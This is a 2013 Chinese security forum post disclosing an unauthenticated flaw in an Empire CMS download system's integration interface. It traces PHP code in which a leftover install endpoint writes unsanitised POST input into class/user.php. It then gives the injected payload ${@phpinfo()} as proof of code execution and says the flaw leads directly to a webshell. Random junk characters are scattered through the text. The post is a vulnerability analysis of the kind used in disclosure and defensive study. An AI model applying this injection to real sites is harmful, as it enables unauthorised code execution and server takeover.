找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2314|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们: w5 u) T9 J8 ^! b4 Q4 [
: g* s6 ]2 n; `7 j

2 c, B9 n, m7 j0 T. V. ]! n
这是帝国的一套下载系统 如图
% |' V/ C$ {$ }/ \! L6 }ps(不需要任何账户和密码,直接写shell)


5 @" ~2 C8 l6 T: M' L4 F

由于很多站是由于下载要整合discuz 等等一些论坛....
" b/ ]6 ]6 l7 {! T* f

, U( V* D2 x8 ]' M, P8 k

而帝国他又有一个万能接口,如图


- \1 ^6 ?0 q; k' M
; x6 Y2 l: y  I" F
3 ^/ m% w2 c% f" ?2 C

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码6 ?, |2 J$ j1 W0 r

' e( A) z  F( a0 T; L5 [当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪1 \: j" {# t# k' ?/ R: a# V& l) K

# J" X3 f9 E) ]. G: V) j在data/fun.php中的15行
/ ]+ U# S+ R: x5 m3 P4 o) N
, k1 \" n& ~7 Y& i( G+ `我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {! W/ p: e7 S: y7 T! X: t7 E& U; L
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
) M3 ^* U& Z" x2 W- \5 v
; s) X3 q' o( V4 G这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);* A0 K6 v( }$ l& o  C( P
  ]" p) ?6 E4 }8 z( b
他将传进来的变量进行了切割,然后赋给了$filetext* z: ]  |0 p6 W% L) K3 T

) q7 O2 h+ |1 d5 H1 A然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了2 l, I- X5 n0 ~! A
5 }- Z3 H3 |7 `) K
我们看看写入的结果,随便填一个


8 w5 `6 Y$ S( K5 {
3 M; C. Y4 V, n/ ^
% Z% `5 `9 u+ a1 j' F, B  ^
# j6 [; F! o) R3 u* J
6 @4 [! T0 B4 _& N$ ^! ~3 G

: d2 k. L! H$ A- {
7 y8 V2 x3 k! d( E
" _+ h2 z( [: A
! L( J, U3 B$ d% o
5 Z& ^! x. y6 b  q5 s

& ?+ K! y; o- U4 [" O; u3 C: ?
* u5 c( Y/ F# ]# C
. j; W3 K( L+ o' C. G6 Y/ X1 A! Z9 h( z% W% M% f9 z+ W# k0 t

0 k% W+ S0 z& D" m3 `# `2 h  H! r0 o$ B7 H3 i% c; E1 m
# h- C) E- x+ A8 k* O

5 s: ]( F) j: r! I" {. f8 N( O
8 P$ ^% G1 P- R; \( p0 `5 _
" R# X! V& e( W
' R/ o# Q% x! v* [. f
9 C+ z' {7 C6 z: A  q6 B& Y

所以我们淫荡点,写个${@phpinfo()}试试


2 t4 T( m! U# C8 L; y

然后访问以下class/user.php这个文件+ \- k( G8 d  F+ P
日了吧

+ W3 \# |9 y0 y
6 L3 Q2 e  M4 @% D" ~

( L; r) j) `2 a3 U2 z# J8 a% T, Q
! h4 z" o/ X9 z0 w% v

8 o9 E1 Y! W5 a# U
* k  W, c& h. u& B

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表